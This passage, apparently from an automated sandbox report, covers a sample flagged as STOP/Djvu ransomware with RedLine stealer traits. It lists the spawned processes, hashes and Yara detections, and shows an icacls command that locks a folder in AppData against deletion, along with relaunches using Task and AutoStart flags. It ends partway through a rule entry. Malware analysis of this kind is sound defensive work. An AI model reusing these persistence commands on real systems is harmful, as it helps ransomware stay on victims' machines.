2022-08-05 09:22:58 UTC	4	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 05 Aug 2022 09:22:58 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2022-08-05 09:22:58 UTC	5	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Target ID:	0
Start time:	11:22:15
Start date:	05/08/2022
Path:	C:\Users\user\Desktop\bE5aaTiJM0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\bE5aaTiJM0.exe"
Imagebase:	0x400000
File size:	747520 bytes
MD5 hash:	5FAE11A9DDB49452B6896FD3217E9665
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.378159844.00000000041D0000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.378332147.0000000004270000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.378332147.0000000004270000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: bE5aaTiJM0.exePID: 5720, Parent PID: 4004

General

Target ID:	2
Start time:	11:22:19
Start date:	05/08/2022
Path:	C:\Users\user\Desktop\bE5aaTiJM0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\bE5aaTiJM0.exe"
Imagebase:	0x400000
File size:	747520 bytes
MD5 hash:	5FAE11A9DDB49452B6896FD3217E9665
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000000.372461553.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000002.00000000.374159139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000000.374159139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000002.00000000.374159139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000000.374159139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000002.00000000.375528936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000000.375528936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000002.00000000.375528936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000000.375528936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000002.00000000.374930864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000000.374930864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000002.00000000.374930864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000000.374930864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: icacls.exePID: 1284, Parent PID: 5720

General

Target ID:	5
Start time:	11:22:26
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0xa30000
File size:	29696 bytes
MD5 hash:	FF0D1D4317A44C951240FAE75075D501
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: bE5aaTiJM0.exePID: 5592, Parent PID: 5720

General

Target ID:	7
Start time:	11:22:27
Start date:	05/08/2022
Path:	C:\Users\user\Desktop\bE5aaTiJM0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\bE5aaTiJM0.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x7ff6406f0000
File size:	747520 bytes
MD5 hash:	5FAE11A9DDB49452B6896FD3217E9665
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.409352563.00000000027E4000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000007.00000002.409983046.0000000004290000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000007.00000002.409983046.0000000004290000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: bE5aaTiJM0.exePID: 4376, Parent PID: 696

General

Target ID:	8
Start time:	11:22:27
Start date:	05/08/2022
Path:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe --Task
Imagebase:	0x400000
File size:	747520 bytes
MD5 hash:	5FAE11A9DDB49452B6896FD3217E9665
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000008.00000002.448603101.0000000004350000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000008.00000002.448603101.0000000004350000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000008.00000002.448142800.00000000041B2000.00000040.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 54%, ReversingLabs
Reputation:	low

Analysis Process: bE5aaTiJM0.exePID: 3616, Parent PID: 5592

General

Target ID:	9
Start time:	11:22:34
Start date:	05/08/2022
Path:	C:\Users\user\Desktop\bE5aaTiJM0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\bE5aaTiJM0.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	747520 bytes
MD5 hash:	5FAE11A9DDB49452B6896FD3217E9665
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000000.402254205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000009.00000000.403911103.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000000.403911103.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000009.00000000.403911103.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000000.403911103.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000009.00000000.407464863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000000.407464863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000009.00000000.407464863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000000.407464863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000009.00000000.405310385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000000.405310385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000009.00000000.405310385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000000.405310385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: bE5aaTiJM0.exePID: 5828, Parent PID: 3688

General

Target ID:	10
Start time:	11:22:36
Start date:	05/08/2022
Path:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart
Imagebase:	0x400000
File size:	747520 bytes
MD5 hash:	5FAE11A9DDB49452B6896FD3217E9665
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.429478962.00000000041D1000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000A.00000002.431402243.0000000004270000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000A.00000002.431402243.0000000004270000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: bE5aaTiJM0.exePID: 5832, Parent PID: 5828

General

Target ID:	11
Start time:	11:22:40
Start date:	05/08/2022
Path:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart
Imagebase:	0x400000
File size:	747520 bytes
MD5 hash:	5FAE11A9DDB49452B6896FD3217E9665
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000B.00000000.424465720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000000.424465720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000B.00000000.424465720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000000.424465720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000B.00000000.421469310.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000000.421469310.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000B.00000000.421469310.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000000.421469310.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000B.00000000.422893341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000000.422893341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000B.00000000.422893341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000000.422893341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000000.418527999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: bE5aaTiJM0.exePID: 3920, Parent PID: 4376

General

Target ID:	12
Start time:	11:22:43
Start date:	05/08/2022
Path:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe --Task
Imagebase:	0x400000
File size:	747520 bytes
MD5 hash:	5FAE11A9DDB49452B6896FD3217E9665
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000C.00000000.441862325.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000000.441862325.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000C.00000000.441862325.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000000.441862325.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000000.439811041.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000C.00000000.442423722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000000.442423722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000C.00000000.442423722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000000.442423722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 0000000C.00000000.441346091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000000.441346091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000C.00000000.441346091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000000.441346091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: bE5aaTiJM0.exePID: 3304, Parent PID: 3688

General

Target ID:	14
Start time:	11:22:44
Start date:	05/08/2022
Path:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart
Imagebase:	0x400000
File size:	747520 bytes
MD5 hash:	5FAE11A9DDB49452B6896FD3217E9665
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.445958712.00000000041A4000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000E.00000002.446247010.0000000004240000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000E.00000002.446247010.0000000004240000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: bE5aaTiJM0.exePID: 2888, Parent PID: 3304

General

Target ID:	16
Start time:	11:22:49
Start date:	05/08/2022
Path:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart
Imagebase:	0x400000
File size:	747520 bytes
MD5 hash:	5FAE11A9DDB49452B6896FD3217E9665
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000010.00000000.440338861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: 